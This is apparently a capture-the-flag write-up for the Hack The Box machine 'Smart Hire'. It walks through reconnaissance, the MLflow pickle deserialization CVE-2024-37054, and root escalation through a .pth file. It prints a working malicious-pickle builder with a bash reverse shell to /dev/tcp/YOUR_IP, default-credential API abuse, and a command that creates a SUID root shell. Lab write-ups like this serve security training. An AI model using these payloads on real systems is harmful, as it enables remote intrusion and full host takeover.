All write-ups
12 min read

HTB: Smart Hire

HTBLinuxCVE-2024-37054MLflowPicklePrivEsc

Reconnaissance

Target: 10.129.11.120 (smarthire.htb)

Port Scanning

# Phase 1: Fast all-port discovery
nmap -p- --min-rate 10000 -T4 10.129.11.120 -oA allports -Pn

# Phase 2: Targeted deep scan
nmap -p 22,80 -sC -sV -A 10.129.11.120 -oA detailed -Pn

The scan reveals SSH (22) and an Nginx web server (80) executing a redirect to http://smarthire.htb/. Add the domain to /etc/hosts.

Virtual Host Fuzzing

Standard VHost fuzzing with -mc 200 fails because the underlying service returns a 401 Unauthorized status code. Utilizing ffuf with the auto-calibration flag (-ac) isolates the anomaly:

ffuf -w subdomains-top1million-110000.txt -u http://smarthire.htb/ -H 'Host: FUZZ.smarthire.htb' -ac
# Result: models [Status: 401, Size: 137]

Add models.smarthire.htb to /etc/hosts.

Application Analysis & MLflow

The primary application on smarthire.htb is an AI hiring platform. Users register, authenticate, and interact with an API.

Checking the /model_info endpoint returns:

{"model_info":{"creation_timestamp":1780137509459,"version":"1"},
 "model_name":"Linux-e8e44f61ce97-model","status":"success"}

This schema, alongside the models.smarthire.htb virtual host, heavily indicates a backend MLflow instance.

Accessing http://models.smarthire.htb/version utilizing default credentials (admin:password) successfully authenticates and discloses the version: MLflow 2.14.1.

Exploitation: CVE-2024-37054 (Pickle Deserialization)

MLflow 2.14.1 is vulnerable to insecure deserialization (CWE-502) in mlflow.pyfunc.load_model(). The application loads python_model.pkl without sanitization. Replacing this artifact with a malicious pickle payload results in RCE upon loading.

Identifying the Target Artifact

Querying the MLflow API to locate the target run and artifact:

curl -s -u admin:password 'http://models.smarthire.htb/api/2.0/mlflow/registered-models/search'
# Extracts run_id: ab5a7c7cb0b94443ac421037f5d5d294

curl -s -u admin:password 'http://models.smarthire.htb/api/2.0/mlflow/artifacts/list?run_id=ab5a7c7cb0b94443ac421037f5d5d294&path=model'
# Identifies: model/python_model.pkl

Building the Payload

To avoid escaping issues with os.system, the reverse shell payload is base64 encoded.

# build_rev.py
import os, pickle, base64

payload = "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
cmd = f"echo {base64.b64encode(payload.encode()).decode()} | base64 -d | bash"

class RCE:
    def __reduce__(self):
        return (os.system, (cmd,))

pickle.dump(RCE(), open("python_model.pkl","wb"))

Triggering RCE

Upload the malicious artifact and trigger the model loading via the prediction endpoint:

base_url="http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/ab5a7c7cb0b94443ac421037f5d5d294/artifacts/model"

# Overwrite artifact
curl -s -u admin:password -X PUT "$base_url/python_model.pkl" --data-binary @python_model.pkl

# Trigger model load
printf 'name,skills,experience\nJohn,"Python",60\n' > /tmp/t1.csv
curl -s -X POST http://smarthire.htb/predict -b 'session=[REDACTED_COOKIE]' -F 'file=@/tmp/t1.csv'

A reverse shell connects as svcweb. Stabilize the shell using standard PTY upgrade techniques (python3 -c 'import pty;pty.spawn("/bin/bash")', etc.).

Privilege Escalation

Checking sudo privileges for the svcweb user:

sudo -l
# (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Analyzing mlflowctl.py

The script iterates through a plugins directory and appends subdirectories to the module path using site.addsitedir():

PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

Enumerating directory permissions reveals that /opt/tools/mlflow_ctl/plugins/dev is writable by the devs group, which svcweb belongs to.

Python Site Hijacking via .pth

While standard module hijacking relies on execution order in sys.path, utilizing a .pth file inside the dev/ directory is more robust. The site.addsitedir() function processes .pth files and explicitly executes lines starting with import.

Create a malicious .pth file to spawn a SUID bash binary:

echo "import os; os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth

Trigger the script via sudo:

sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status

Acquire the root shell:

/tmp/rootbash -p
id # euid=0(root)
cat /root/root.txt # [REDACTED]

Clean up /tmp/rootbash and pwn.pth post-exploitation to maintain OPSEC.